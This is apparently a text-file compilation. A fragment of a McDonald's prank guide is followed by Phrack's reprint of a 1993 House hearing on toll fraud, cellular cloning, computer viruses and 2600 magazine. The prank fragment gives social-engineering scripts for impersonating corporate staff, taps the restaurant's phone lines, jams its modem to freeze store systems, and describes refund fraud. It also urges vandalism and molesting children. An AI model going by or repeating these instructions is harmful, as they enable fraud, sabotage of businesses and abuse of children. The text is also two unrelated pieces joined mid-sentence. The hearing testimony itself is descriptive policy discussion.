buy the items at a cheaper price, like the old pizza man trick... that's just lame.

COMPUTER PHUN

A nice thing about McDonald's is that it is linked via computer (and modem) to OakBrook, Illinois. Check your local phone book for a McDonald's with 2 lines. The second line is usually the computer line. You may also try Information. If you aren't able to get the number, read these next 3 parts...

‑ McDonald's are listed by Restaurant number in the phonebook. You can retrieve the number, then call the restaurant, asking for the manager. When the manager identifies himself, with his name, you write the name down, and tell him to get bent or something. With that information, you can call McDonald's 800 number, or any McDonald's Corporation HQ number in OakBrook, Illinois (they will relay your call). You say you haven't been receiving updates or any purchase orders, you identify yourself, and your store number, and location (city, state...). They will check the listings, and read off the phone number of the computer. If they won't give it to you, they will allow you to change the computer number, where you give them your enemies phone number or something, and they will get called by modem repeatedly...

‑ Call your local McDonald's, identify yourself as Bill Haggan of Computer Services, McDonald's, Oakbrook... etc. Say you are updating your records, and need the computer telephone number. Get the number, then give them a bullshit verification number.

‑ This is not very imaginative, but it works... it's also risky... wooooo. Find the phone box, open the user service box, connect any phone with an RJ‑11 adaptor to the box and type your local ANI number (211, 811‑9967) etc... do that for each line that enters the restaurant. Then reconnect it... you have the numbers.

Now that you have the numbers, there is a lot you can do. It is not wise to enter the computer. Although goodies are buried there, any changes you make are corrected that night with a verification call. It is also verified voice. However, everything in the restaurant is connected to the computer. Once you call the number, and connect to the computer, just sit there. The computer freezes all time clocks, order programs, etc. Every display will be marked "BUSY." This prevents anyone from punching in or out, the manager from checking labor, printing schedules, do inquiries about anything... basically interrupt most managerial and owner duties. If you find a constant busy signal, this is very easy to correct. Simply ask for an operator interrupt. If the operator breaks in, the beep will hang up the modem, allowing you to call right in. This prank does have profound effects on the McDonald's. It is highly recommended.

FREE SHIT AT McDonald's

Yes, I do mean shit... If you are involved in that fucking money crunch like everyone else, and you feel that your money should be spent on better things, rather than shitty food, here are a few pointers for free food. These have all been tested. If you are caught in the act of getting free food, nothing will happen, and it will be a big source of amusement...

Cheeseburger ‑ On a busy drive‑thru day, you can ask for a special order. Ask for a hamburger with an extra item, like mustard or something, and casually sneak in "extra cheese." If the employees are stupid enough (a given), and the grill doesn't question it, you will find yourself with a nice fresh cheeseburger for the price of a hamburger... whoopee...

Any Item ‑ The BEST thing to do is order something in the drivethru, and then come in the restaurant with the bag from drive thru and say "You forgot ..." If you ask the employees at the counter, 9 times out of 10, you will get it... To be

on the safe side, you may want to go home, call the McDonald's, say you went through the drive thru and you didn't get your food item. You can give a bullshit name

or whatever, usually they don't even take the name, and

the next time you go in, you say you called, and you will

get gift certificates or free food... works every time.

BASTARDIZING FOOD ITEMS

If you want to attract a certain degree of attention to yourself, and make employees and customers laugh, when you order food, fuck up the names to say something cool... You'll still get the food you don't want, and this too is a source of amusement. Spur‑of‑the‑moment name bastardizations are by far the funniest, but here are a few suggestions...

SHMEGMA MAC, SHMEGMA SACK ‑ instead of Mega Mac (shmegma is Dick Cheese) CHICKEN McFUCKUPS ‑ Chicken McNuggets (be sure to ask for the 69 piece) McDICKEN ‑ McChicken (ask for extra Mayo and smile...)

CHOKE ‑ Coke (I'd like a small choke with no ice)

McRIBBED FOR HER PLEASURE ‑ McRib... Do they still make this? FAGINA ‑ Fajita (I'd like a FAGINA with extra cheese...)

IMPORTANT

Remember that McDonald's slogan is Food, Folks, and Fun... Just take the "fun" part to the limit... You sort of have to compensate for the asshole "folks" and the shit "food."

If you get bored, start molesting kids on the

playland or just break shit... throwing salt shakers (plastic or glass) at the outside wall of the McDonald's is fun too... take advantage of whatever there is in McDonald's... there are infinite possibilities to create your local McDonald's an utter McHell. Don't consider it illegal (most of it isn't...) consider it more of a

The Senator Markey Hearing Transcripts

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 20 of 28

****************************************

The Senator Markey Hearing Transcripts

[To obtain your own copy of this hearing and the other related ones, contact the U.S. Government Printing Office (202‑512‑0000) and ask for Serial No. 103‑53, known as "Hearings Before The Subcommittee on Telecommunications and Finance of the Committee on Energy and Commerce, House of Representatives, One Hundred Third Congress, First Session, April 29 and June 9, 1993".]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mr. MARKEY. If you could close the door, please, we could move on to this very important panel. It consists of Mr. Donald Delaney, who is a senior investigator for the New York State Police. Mr. Delaney has instructed telecommunications fraud at the Federal Law Enforcement Training Center and has published chapters on computer crime and telecommunications fraud. Dr. Peter Tippett is an expert in computer viruses and is the director of security products for Symantec Corporation in California. Mr. John J. Haugh is chairman of Telecommunications Advisors Incorporated, a telecommunications consulting firm in Portland, Oreg., specializing in network security issues. Dr. Haugh is the editor and principal author of two volumes entitled "Toll Fraud" and "Telabuse" in a newsletter entitled "Telecom and Network Security Review." Mr. Emmanuel Goldstein is the editor‑in‑chief of "2600: The Hacker Quarterly." Mr. Goldstein also hosts a weekly radio program in New York called "Off The Hook." Mr. Michael Guidry is chairman and founder of the Guidry Group, a security consulting firm specializing in telecommunications issues. The Guidry Group works extensively with the cellular industry in its fight against cellular fraud. We will begin with you, Mr. Delaney, if we could. You each have 5 minutes. We will be monitoring that. Please try to abide by the limitation. Whenever you are ready, please begin. STATEMENTS OF DONALD P. DELANEY, SENIOR INVESTIGATOR, NEW YORK STATE POLICE; JOHN J. HAUGH, CHAIRMAN, TELECOMMUNICATIONS ADVISORS; EMMANUEL GOLDSTEIN, PUBLISHER, 2600 MAGAZINE; PETER S. TIPPETT, DIRECTOR, SECURITY AND ENTERPRISE PRODUCTS, SYMANTEC CORP.; AND MICHAEL A. GUIDRY, CHIEF EXECUTIVE OFFICER, THE GUIDRY GROUP Mr. DELANEY. Thank you, Mr. Chairman, for the invitation to testify today.

As a senior investigator with the New York State Police, I have spent more than 3 years investigating computer crime and telecommunications fraud. I have executed more than 30 search warrants and arrested more than 30 individuals responsible for the entire spectrum of crime in this area.

I authored two chapters in the "Civil and Criminal Investigating Handbook" published by McGraw Hill entitled "Investigating Computer Crime and Investigating Telecommunications Fraud." Periodically I teach a 4‑hour block instruction on telecommunications fraud at the Federal Law Enforcement Training Center in Georgia.

Although I have arrested some infamous teenagers, such as Phiber Optic, ZOD, and Kong, in some cases the investigations were actually conducted by the United States Secret Service. Because Federal law designates a juvenile as one less than 18 years of age and the Federal system has no means of prosecuting a juvenile, malicious hackers, predominately between 13 and 17 years of age, are either left unprosecuted or turned over to local law enforcement. In some cases, local law enforcement were either untrained or unwilling to investigate the high‑tech crime. In examining telecommunications security, one first realizes that all telecommunications is controlled by computers. Computer criminals abuse these systems not only for free service but for a variety of crimes ranging from harassment to grand larceny and illegal wiretapping. Corporate and Government espionage rely on the user‑friendly networks which connect universities, military institutions, Government offices, corporate research and development computers. Information theft is common from those companies which hold our credit histories. Their lack of security endanger each of us, but they are not held accountable. One activity which has had a financial impact on everyone present is the proliferation of call sell operations. Using a variety of methods, such as rechipped cellular telephones, compromised PBX remote access units, or a combination of cellular phone and international conference lines, the entrepreneur deprives the telephone companies of hundreds of millions of dollars each year. These losses are passed on to each of us as higher rates. The horrible PBX problem exists because a few dozen finger hackers crack the codes and disseminate them to those who control the pay phones. The major long distance carriers each have the ability to monitor their 800 service lines for sudden peaks in use. A concerted effort should be made by the long distance carriers to identify the finger hackers, have the local telephone companies monitor the necessary dialed number recorders, and provide local law enforcement with timely affidavits. Those we have arrested for finger hacking the PBX's have not gone back into this type of activity or crime.

The New York State Police have four newly trained investigators assigned to investigate telecommunications fraud in New York City alone. One new program sponsored by AT&T is responsible for having trained police officers from over 75 departments about this growing blight in New York State alone. Publications, such as "2600," which teach subscribers how to commit telecommunications crime are protected by the First Amendment, but disseminating pornography to minors is illegal. In that many of the phone freaks are juveniles, I believe legislation banning the dissemination to juveniles of manuals on how to commit crime would be appropriate.

From a law enforcement perspective, I applaud the proposed Clipper chip encryption standard which affords individuals protection of privacy yet enables law enforcement to conduct necessary court‑ordered wiretaps, and with respect to what was being said in the previous conversation, last year there were over 900 court‑ordered wiretaps in the United States responsible for the seizure of tons of illicit drugs coming into this country, solving homicides, rapes, kidnappings. If we went to an encryption standard without the ability for law enforcement to do something about it, we would have havoc in the United States ‑‑ my personal opinion. In New York State an individual becomes an adult at 16 years old and can be prosecuted as such, but if a crime being investigated is a Federal violation he must be 18 years of age to be prosecuted. Even in New York State juveniles can be adjudicated and given relevant punishment, such as community service. I believe that funding law enforcement education programs regarding high‑tech crime investigations, as exists at the Federal Law Enforcement Training Center's Financial Frauds Institute, is one of the best tools our Government has to protect its people with regard to law enforcement.

Thank you.

Mr. WYDEN [presiding]. Thank you very much for a very helpful presentation.

Let us go next to Mr. Haugh.

We welcome you. It is a pleasure to have an Oregonian, particularly an Oregonian who has done so much in this field, with the subcommittee today. I also want to thank Chairman Markey and his excellent staff for all their efforts to make your attendance possible today.

So, Mr. Haugh, we welcome you, and I know the chairman is going to be back here in just a moment.

STATEMENT OF JOHN J. HAUGH

Mr. HAUGH. Thank you, Mr. Wyden.

We expended some 9,000 hours, 11 different people, researching the problem of toll fraud, penetrating telecommunications systems, and then stealing long distance, leading up to the publication of our two‑volume reference work in mid‑1992. We have since spent about 5,000 additional hours continuing to monitor the problem, and we come to the table with a unique perspective because we are vender, carrier, and user independent.

In the prior panel, the distinguished gentleman from AT&T, for whom I have a lot of personal respect, made the comment that the public justifiably is confident that the national wire network is secure and that the problem is wireless. With all due respect, that is a laudable goal, but as far as what is going on today, just practical reality, that comment is simply incorrect, and if the public truly is confident that the wired network is secure, that confidence is grossly misplaced.

We believe 35,000 users will become victimized by toll fraud this year, 1993. We believe the national problem totals somewhere between $4 and $5 billion. It is a very serious national problem. We commend the chairman and this committee for continuing to attempt to draw public attention and focus on the problem. The good news, as we see it, over the last 3 years is that the severity of losses has decreased. There is better monitoring, particularly on the part of the long distance carriers, there is more awareness on the part of users who are being more careful about monitoring and managing their own systems, as a result of which the severity of loss is decreasing. That is the good news. The bad news is that the frequency is greatly increasing, so while severity is decreasing, frequency is increasing, and I will give you some examples. In 1991 we studied the problem from 1988 to 1991 and concluded that the average toll fraud loss was $168,000. We did a national survey from November of last year to March of this year, and the average loss was $125,000, although it was retrospective. Today we think the average loss is $30,000 to $60,000, which shows a rather dramatic decline.

The problem is, as the long distance thieves, sometimes called hackers, are rooted out of one system, one user system, they immediately hop into another one. So severity is dropping, but frequency is increasing. Everybody is victimized. You have heard business users with some very dramatic and very sad tales. The truth is that everybody is victimized; the users are victimized; the long distance carriers are victimized; the cellular carriers are victimized, the operator service providers; the co‑cod folks, the aggregators and resellers are victimized; the LEC's and RBOC's, to a limited extent, are victimized; and the vendors are victimized by being drawn into the problem.

Who is at fault? Everybody is at fault. The Government is at fault. The FCC has taken a no‑action, apathetic attitude toward toll fraud. That Agency is undermanned, it is understaffed, it is underfunded, it has difficult problems ‑‑ no question about that ‑but things could and should be done by that Agency that have not been done.

The long distance carriers ignored the problem for far too long, pretended that they could not monitor when, in fact, the technology was available. They have done an outstanding job over the last 2 years of getting with it and engaging themselves fully, and I would say the long distance carriers, at the moment, are probably the best segment of anyone at being proactive to take care of the problem.

Users too often ignored security, ignored their user manuals, failed to monitor, failed to properly manage. There has been improvement which has come with the public knowledge of the problem. CPE venders, those folks who manufactured the systems that are so easy to penetrate, have done an abysmally poor job of engineering into the systems security features. They have ignored security. Their manuals didn't deal with security. They are starting to now. They are doing a far better job. More needs to be done.

The FCC, in particular, needs to become active. This committee needs to focus more attention on the problem, jawbone, keep the heat on the industry, the LEC's and the RBOC's in particular. The LEC's and the RBOC's have essentially ignored the problem. They are outside the loop, they say, yet the LEC's and the RBOC's collected over $21 billion last year in access fees for connecting their users to the long distance networks. How much of that $21 billion did the LEC's and the RBOC's reinvest in helping to protect their users from becoming victimized and helping to combat user‑targeted toll fraud? No more than $10 million, one‑fifth of 1 percent. Many people in the industry feel the LEC's and the RBOC's are the one large group that has yet to seriously come to the table. Many in the industry ‑‑ and we happen to agree ‑‑ feel that 3 to 4 percent of those access fees should be reinvested in protecting users from being targeted by the toll fraud criminals.

The FCC should become more active. The jawboning there is at a minimal level. There was one show hearing last October, lots of promises, no action, no regulation, no initiatives, no meetings. A lot could be done. Under part 68, for example, the FCC, which is supposed to give clearance to any equipment before it is connected into the network, they could require security features embedded within that equipment. They could prevent things like low‑end PBX's from being sold with three‑digit barrier codes that anyone can penetrate in 3 to 5 minutes.

Thank you, Mr. Chairman.

Mr. MARKEY. THANK YOU, MR. HAUGH, VERY MUCH.

Mr. Goldstein, let's go to you next.

STATEMENT OF EMMANUEL GOLDSTEIN

Mr. GOLDSTEIN. Thank you, Mr. Chairman, and thank you to this committee for allowing me the opportunity to speak on behalf of those who, for whatever reason, have no voice.

I am in the kind of unique position of being in contact with those people known as computer hackers throughout the world, and I think one of the misconceptions that I would like to clear up, that I have been trying to clear up, is that hackers are analogous to criminals. This is not the case. I have known hundreds of hackers over the years, and a very, very small percentage of them are interested in any way in committing any kind of a crime. I think the common bond that we all have is curiosity, an intense form of curiosity, something that in many cases exceeds the limitations that many of us would like to put on curiosity. The thing is though, you cannot really put a limitation on curiosity, and that is something that I hope we will be able to understand.

I like to parallel the hacker culture with any kind of alien culture because, as with any alien culture, we have difficulty understanding its system of values, we have difficulty understanding what it is that motivates these people, and I hope to be able to demonstrate through my testimony that hackers are friendly people, they are curious people, they are not out to rip people off or to invade people's privacy; actually, they are out to protect those things because they realize how valuable and how precious they really are.

I like to draw analogies to where we are heading in the world of high technology, and one of the analogies I have come up with is to imagine yourself speeding down a highway, a highway that is slowly becoming rather icy and slippery, and ask yourself the question of whether or not you would prefer to be driving your own car or to be somewhere inside a large bus, and I think that is kind of the question we have to ask ourselves now. Do we want to be in control of our own destiny as far as technology goes, or do we want to put all of our faith in somebody that we don't even know and maybe fall asleep for a little while ourselves and see where we wind up? It is a different answer for every person, but I think we need to be able to at least have the opportunity to choose which it is that we want to do.

Currently, there is a great deal of suspicion, a great deal of resignation, hostility, on behalf of not simply hackers but everyday people on the street. They see technology as something that they don't have any say in, and that is why I particularly am happy that this committee is holding this hearing, because people, for the most part, see things happening around them, and they wonder how it got to that stage. They wonder how credit files were opened on them; they wonder how their phone numbers are being passed on through A&I and caller ID. Nobody ever went to these people and said, "Do you want to do this? Do you want to change the rules?"

The thing that hackers have learned is that any form of technology can and will be abused, whether it be calling card numbers or the Clipper chip. At some point, something will be abused, and that is why it is important for people to have a sense of what it is that they are dealing with and a say in the future. I think it is also important to avoid inequities in access to technology, to create a society of haves and have‑nots, which I feel we are very much in danger of doing to a greater extent than we have ever done before. A particular example of this involves telephone companies, pay phones to be specific. Those of us who can make a telephone call from, say, New York to Washington, D.C., at the cheapest possible rate from the comfort of our own homes will pay about 12 cents for the first minute. However, if you don't have a phone or if you don't have a home, you will be forced to pay $2.20 for that same first minute.

What this has led to is the proliferation of what are known as red boxes. I have a sample (indicating exhibit). Actually, this is tremendously bigger than it needs to be. A red box can be about a tenth of the size of this. But just to demonstrate the sound that it takes for the phone company to believe that you have put a quarter into the phone (brief tone is played), that is it, that is a quarter.

Now we can say this is the problem, this huge demonic device here is what is causing all the fraud, but it is not the case. This tape recorder here (same brief tone is played) does the same thing. So now we can say the tones are the problem, we can make tones illegal, but that is going to be very hard to enforce.

I think what we need to look at is the technology itself: Why are there gaping holes in them? and why are we creating a system where people have to rip things off in order to get the same access that other people can get for virtually nothing?

I think a parallel to that also exists in the case of cellular phones. I have a device here (indicating exhibit) which I won't demonstrate, because to do so would be to commit a Federal crime, but by pressing a button here within the course of 5 seconds we will be able to hear somebody's private, personal cellular phone call.

Now the way of dealing with privacy with cellular phone calls is to make a law saying that it is illegal to listen. That is the logic we have been given so far. I think a better idea would be to figure out a way to keep those cellular phone calls private and to allow people to exercise whatever forms of privacy they need to have on cellular phone calls.

So I think we need to have a better understanding both from the legislative point of view and in the general public as far as technology in itself, and I believe we are on the threshold of a very positive, enlightened period, and I see that particularly with things like the Internet which allow people access to millions of other people throughout the world at very low cost. I think it is the obligation of all of us to not stand in the way of this technology, to allow it to go forward and develop on its own, and to keep a watchful eye on how it develops but at the same time not prevent it through overlegislation or overpricing.

Thank you very much for the opportunity to speak.

Mr. MARKEY. Thank you, Mr. Goldstein.

Dr. Tippett.

STATEMENT OF PETER S. TIPPETT

Mr. TIPPET. Thank you.

I am Peter Tippett from Symantec Corporation, and today I am also representing the National Computer Security Association and the Computer Ethics Institute. Today is Computer Virus Awareness Day, in case you are not aware, and we can thank Jack Fields, Representative Fields, for sponsoring that day on behalf of the Congress, and I thank you for that.

We had a congressional briefing this morning in which nine representatives from industry, including telecommunications and aerospace and the manufacturing industry, convened, and for the first time were willing to talk about their computer virus problems in public. I have got to tell you that it is an interesting problem, this computer virus problem. It is a bit different from telephone fraud. The virus problem is one which has probably among the most misrepresentation and misunderstanding of these various kinds of fraud that are going on, and I would like to highlight that a little bit. But before I do, I would like to suggest what we know to be the costs of computer viruses just in America. The data I am representing comes from IBM and DataQuest, a Dunn and Bradstreet company, it is the most conservative interpretation you could make from this data. It suggests that a company of only a thousand computers has a virus incident every quarter, that a typical Fortune 500 company deals with viruses every month, that the cost to a company with only a thousand computers is about $170,000 a year right now and a quarter of a million dollars next year. If we add these costs up, we know that the cost to United States citizens of computer viruses just so far, just since 1990, exceeds $1 billion.

When I go through these sorts of numbers, most of us say, well, that hype again, because the way the press and the way we have heard about computer viruses has been through hype oriented teachings. So the purpose here is not to use hype and not to sort of be alarmist and say the world is ending, because the world isn't ending per se, but to suggest that there isn't a Fortune 500 company in the United States who hasn't had a computer virus problem is absolutely true, and the sad truth about these viruses is that the misconceptions are keeping us from doing the right things to solve the problem, and the misconceptions stem from the fact that companies that are hit by computer viruses, which is every company, refused to talk about that until today. There are a couple of other unique things and misconceptions about computer viruses. One is that bulletin boards are the leading source of computer viruses. Bulletin boards represent the infancy of the superhighway, I think you could say, and there are a lot of companies that make rules in their company that you are not allowed to use bulletin boards because you might get a virus. In fact, it is way in the low, single‑digit percents. It may be as low as 1 percent of computer viruses that are introduced into companies come through some route via a bulletin board.

We are told that some viruses are benign, and, in fact, most people who write computer viruses think that their particular virus is innocuous and not harmful. It turns out that most virus authors, as we just heard from Mr. Goldstein, are, in fact, curious people and not malicious people. They are young, and they are challenged, and there is a huge game going on in the world. There is a group of underground virus bulletin boards that we call virus exchange bulletin boards in which people are challenged to write viruses. The challenge works like this: If you are interested and curious, you read the threads of communication on these bulletin boards, and they say, you know, "If you want to download some viruses, there's a thousand here on the bulletin board free for your downloading," but you need points. Well, how do you get points? Well, you upload some viruses. Well, where do you get some viruses from? If you upload the most common viruses, they are not worth many points, so you have to upload some really good, juicy viruses. Well, the only way to get those is to write them, so you write a virus and upload your virus, and then you gain acceptance into the culture, and when you gain acceptance into the culture you have just added to the problem.

It is interesting to know that the billion dollars that we have spent since 1990 on computer viruses just in the United States is due to viruses that were written in 1988 and 1987. Back then, we only had one or two viruses a quarter, new, introduced into the world. This year we have a thousand new computer viruses introduced into our community, and it won't be for another 4 or 5 years before these thousand viruses that are written now will become the major viruses that hurt us in the future.

So virus authors don't believe they are doing anything wrong, they don't believe that they are being harmful, and they don't believe that what they do is dangerous, and, in fact, all viruses are.

Computer crime laws don't have anything to do with computer virus writers, so we heard testimony this morning from Scott Charney of the Department of Justice who suggested that authorized access is the biggest law you could use, and, in fact, most viruses are brought into our organizations in authorized ways, because users who are legitimate in the organizations accidentally bring these things in, and then they infect our companies.

In summary, I think that we need to add a little bit of specific wording in our computer crime legislation that relates particularly to computer viruses and worms. We need, in particular, to educate. We need to go after an ethics angle. We need to get to the point where Americans think that writing viruses or doing these other kinds of things that contaminate our computer superhighways are akin to contaminating our expressways.

In the sixties we had a big "Keep America Beautiful" campaign, and most Americans would find it unthinkable to throw their garbage out the window of their car, but we don't think it unthinkable to write rogue programs that will spread around our highway. Thank you.

Mr. MARKEY. Thank you, Dr. Tippett.

Mr. Guidry.

STATEMENT OF MICHAEL A. GUIDRY

Mr. GUIDRY. Thank you, Mr. Chairman, for giving me the opportunity to appear before this subcommittee, and thank you, subcommittee, for giving me this opportunity.

The Guidry Group is a Houston‑based security consulting firm specializing in telecommunication issues. We started working in telecommunication issues in 1987 and started working specifically with the cellular industry at that time. When we first started, we were working with the individual carriers across the United States, looking at the hot points where fraud was starting to occur, which were major metropolitan cities of course.

In 1991, the Cellular Telephone Industry Association contacted us and asked us to work directly with them in their fight against cellular fraud. The industry itself has grown, as we all know, quite rapidly. However, fraud in the industry has grown at an unbelievable increase, actually faster than the industry itself, and as a result of that fraud now is kind of like a balloon, a water balloon; it appears in one area, and when we try to stamp it out it appears in another area.

As a result, what has happened is, when fraud first started, there was such a thing as subscription fraud, the same type of fraud that occurred with the land line telecommunication industry. That subscription fraud quickly changed. Now what has occurred is, technology has really stepped in.

First, hackers, who are criminals or just curious people, would take a telephone apart, a cellular phone apart, and change the algorithm on the chip, reinsert the chip into the telephone, and cause that telephone to tumble. Well, the industry put its best foot forward and actually stopped, for the most part, the act of tumbling in cellular telephones. But within the last 18 months something really terrible has happened, and that is cloning. Cloning is the copying of the MIN and and ESN number, and, for clarification, the MIN is the Mobile Identification Number that is assigned to you by the carrier, and the ESN number is the Electronic Cellular Number that is given to the cellular telephone from that particular manufacturer. As a result, now we have perpetrators, or just curious people, finding ways to copy the MIN and the ESN, thereby victimizing the cellular carrier as well as the good user, paying subscriber. This occurs when the bill is transmitted by the carrier to the subscriber and he says something to the effect of, "I didn't realize that I had made $10,000 worth of calls to the Dominican Republic," or to Asia or Nicaragua or just any place like that.

Now what has happened is, those clone devices have been placed in the hands of people that we call ET houses, I guess you would say, and they are the new immigrants that come into the United States for the most part that do not have telephone subscriptions on the land line or on the carrier side from cellular, and now they are charged as much as $25 for 15 minutes to place a call to their home.

Unfortunately, though, the illicit behavior of criminals has stepped into this network also. Now we have gang members, drug dealers, and gambling, prostitution, vice, just all sorts of crime, stepping forward to use this system where, by using the cloning, they are avoiding law enforcement. Law enforcement has problems, of course, trying to find out how to tap into those telephone systems and record those individuals.

Very recently, cloning has even taken a second step, and that is now something that we term the magic phone, and the magic phone works like this: Instead of cloning just one particular number, it clones a variety of numbers, as many as 14 or 66, thereby distributing the fraud among several users, which makes it almost virtually impossible for us to detect at an early stage. In response to this, what has happened? A lot of legitimate people have started to look at using the illegitimate cellular services. They are promised that this is a satellite phone or just a telephone that if they pay a $2,500 fee will avoid paying further bills. So now it has really started to spread.

Some people in major metropolitan areas, such as the Southwest, Northeast, and Southeast, have started running their own mini‑cellular companies by distributing these cloning phones to possible clients and users, collecting the fee once a month to reactivate the phone if it is actually denied access.

The cellular industry has really stepped up to the plate I think the best they can right now in trying to combat this by working with the switch manufacturers and other carriers, 150 of them to date with the cellular telephone industry, as well as the phone manufacturers, and a lot of companies have started looking at software technology. However, these answers will not come to pass very soon. What we must have is strong legislation.

We have been working for the last 18 months, specifically with the Secret Service and a lot of local, State, and Federal law enforcement agencies. The Service has arrested over 100 people involved in cellular fraud. We feel very successful about that. We also worked with local law enforcement in Los Angeles to form the L.A. Blitz, and we arrested an additional 26 people and seized 66 illegal telephones and several computers that spread this cloning device.

However, now we have a problem. U.S. Title 18, 1029, does not necessarily state cellular or wireless. It is very important, and I pray that this committee will look at revising 1029 and changing it to include wireless and cellular. I think wireless communications, of course, like most people, is the wave of the future, and it is extremely important that we include that in the legislation so that when people are apprehended they can be prosecuted.

Thank you, sir.

Mr. MARKEY. Thank you, Mr. Guidry, very much.

We will take questions now from the subcommittee members. Let me begin, Mr. Delaney. I would like you and Mr. Goldstein to engage in a conversation, if we could. This is Mr. Goldstein's magazine, "The Hacker Quarterly: 2600," and for $4 we could go out to Tower Records here in the District of Columbia and purchase this. It has information in it that, from my perspective, is very troubling in terms of people's cellular phone numbers and information on how to crack through into people's private information.

Now you have got some problems with "The Hacker Quarterly," Mr. Delaney.

Mr. DELANEY. Yes, sir.

Mr. MARKEY. And your problem is, among other things, that teenagers can get access to this and go joy riding into people's private records.

Mr. DELANEY. Yes, sir. In fact, they do.

Mr. MARKEY. Could you elaborate on what that problem is? And then, Mr. Goldstein, I would like for you to deal with the ethical implications of the problem as Mr. Delaney would outline them.

Mr. DELANEY. Well, the problem is that teenagers do read the "2600" magazine. I have witnessed teenagers being given free copies of the magazine by the editor‑in‑chief. I have looked at a historical perspective of the articles published in "2600" on how to engage in different types of telecommunications fraud, and I have arrested teenagers that have read that magazine.

The publisher, or the editor‑in‑chief, does so with impunity under the cloak of protection of the First Amendment. However, as I indicated earlier, in that the First Amendment has been abridged for the protection of juveniles from pornography, I also feel that it could be abridged for juveniles being protected from manuals on how to commit crime ‑‑ children, especially teenagers, who are hackers, and who, whether they be mischievous or intentionally reckless, don't have the wherewithal that an adult does to understand the impact of what he is doing when he gets involved in this and ends up being arrested for it.

Mr. MARKEY. Mr. Goldstein, how do we deal with this problem? Mr. GOLDSTEIN. First of all, "2600" is not a manual for computer crime. What we do is, we explain how computers work. Very often knowledge can lead to people committing crimes, we don't deny that, but I don't believe that is an excuse for withholding the knowledge.

The article on cellular phones that was printed in that particular issue pretty much goes into detail as to how people can track a cellular phone call, how people can listen in, how exactly the technology works. These are all things that people should know, and perhaps if people had known this at the beginning they would have seen the security problems that are now prevalent, and perhaps something could have been done about it at that point.

Mr. MARKEY. Well, I don't know. You are being a little bit disingenuous here, Mr. Goldstein. Here, on page 17 of your spring edition of 1993, "How to build a pay TV descrambler." Now that is illegal.

Mr. GOLDSTEIN. Not building. Building one is not illegal. Mr. MARKEY. Oh, using one is illegal?

Mr. GOLDSTEIN. Exactly.

Mr. MARKEY. I see. So showing a teenager, or anyone, how to build a pay TV descrambler is not illegal. But what would they do then, use it as an example of their technological prowess that they know how to build one? Would there not be a temptation to use it, Mr. Goldstein?

Mr. GOLDSTEIN. It is a two‑way street, because we have been derided by hackers for printing that information and showing the cable companies exactly what the hackers are doing.

Mr. MARKEY. I appreciate it from that perspective, but let's go over to the other one. If I am down in my basement building a pay TV descrambler for a week, am I not going to be tempted to see if it works, Mr. Goldstein? Or how is it that I then prove to myself and my friends that I have actually got something here which does work in the real world?

Mr. GOLDSTEIN. It is quite possible you will be tempted to try it out. We don't recommend people being fraudulent ‑‑

Mr. MARKEY. How do you know that it works, by the way? Mr. GOLDSTEIN. Actually, I have been told by most people that is an old version that most cable companies have gotten beyond. Mr. MARKEY. So this wouldn't work then?

Mr. GOLDSTEIN. It will work in some places, it won't work in all places.

Mr. MARKEY. Oh, it would work? It would work in some places? Mr. GOLDSTEIN. Most likely, yes. But the thing is, we don't believe that because something could be used in a bad way, that is a reason to stifle the knowledge that goes into it.

Mr. MARKEY. That is the only way this could be used. Is there a good way in which a pay TV descrambler could be used that is a legal way?

Mr. GOLDSTEIN. Certainly, to understand how the technology works in the first place, to design a way of defeating such devices in the future or to build other electronic devices based on that technology.

Mr. MARKEY. I appreciate that, but it doesn't seem to me that most of the subscribers to "2600" magazine ‑‑

Mr. GOLDSTEIN. That is interesting that you are pointing to that. That is our first foray into cable TV. We have never even testified on the subject before.

Mr. MARKEY. I appreciate that.

Well, let's move on to some of your other forays here. What you have got here, it seems to me, is a manual where you go down Maple Street and you just kind of try the door on every home on Maple Street. Then you hit 216 Maple Street, and the door is open. What you then do is, you take that information, and you go down to the corner grocery store, and you post it: "The door of 216 Maple is open."

Now, of course, you are not telling anyone to steal, and you are not telling anyone that they should go into 216 Maple. You are assuming that everyone is going to be ethical who is going to use this information, that the house at 216 Maple is open. But the truth of the matter is, you have got no control at this point over who uses that information. Isn't that true, Mr. Goldstein? Mr. GOLDSTEIN. The difference is that a hacker will never target an individual person as a house or a personal computer or something like that. What a hacker is interested in is wide open, huge data bases that contain information about people, such as TRW. A better example, I feel, would be one that we tried to do 2 years ago where we pointed out that the Simplex Lock Corporation had a very limited number of combinations on their hardware locks that they were trying to push homeowners to put on their homes, and we tried to alert everybody as to how insecure these are, how easy it is to get into them, and people were not interested. Hackers are constantly trying to show people how easy it is to do certain things.

Mr. MARKEY. I appreciate what you are saying. From one perspective, you are saying that hackers are good people out there, almost like ‑‑ what are they called? ‑‑ the Angels that patrol the subways of New York City.

Mr. GOLDSTEIN. Guardian Angels. I wouldn't say that though. Mr. MARKEY. Yes, the Guardian Angels, just trying to protect people.

But then Mr. Delaney here has the joy riders with the very same information they have taken off the grocery store bulletin board about the fact that 216 Maple is wide open, and he says we have got to have some laws on the books here to protect against it. So would you mind if we passed, Mr. Goldstein, trespassing laws that if people did, in fact, go into 216 and did do something wrong, that we would be able to punish them legally? Would you have a problem with that?

Mr. GOLDSTEIN. I would be thrilled if computer trespassing laws were enforced to the same degree as physical trespassing laws, because then you would not have teenage kids having their doors kicked in by Federal marshals and being threatened with $250,000 fines, having all their computer equipment taken and having guns pointed at them. You would have a warning, which is what you get for criminal trespass in the real world, and I think we need to balance out the real world ‑‑

Mr. MARKEY. All right. So you are saying, on the one hand, you have a problem that you feel that hackers are harassed by law enforcement officials and are unduly punished. We will put that on one side of the equation. But how about the other side? How about where hackers are violating people's privacy? What should we do there, Mr. Goldstein?

Mr. GOLDSTEIN. When a hacker is violating a law, they should be charged with violating a particular law, but that is not what I see today. I see law enforcement not having a full grasp of the technology. A good example of this was raids on people's houses a couple of years ago where in virtually every instance a Secret Service agent would say, "Your son is responsible for the AT&T crash on Martin Luther King Day," something that AT&T said from the beginning was not possible.

Mr. MARKEY. Again, Mr. Goldstein, I appreciate that. Let's go to the other side of the problem, the joy rider or the criminal that is using this information. What penalties would you suggest to deal with the bad hacker? Are there bad hackers?

Mr. GOLDSTEIN. There are a few bad hackers. I don't know any myself, but I'm sure there are.

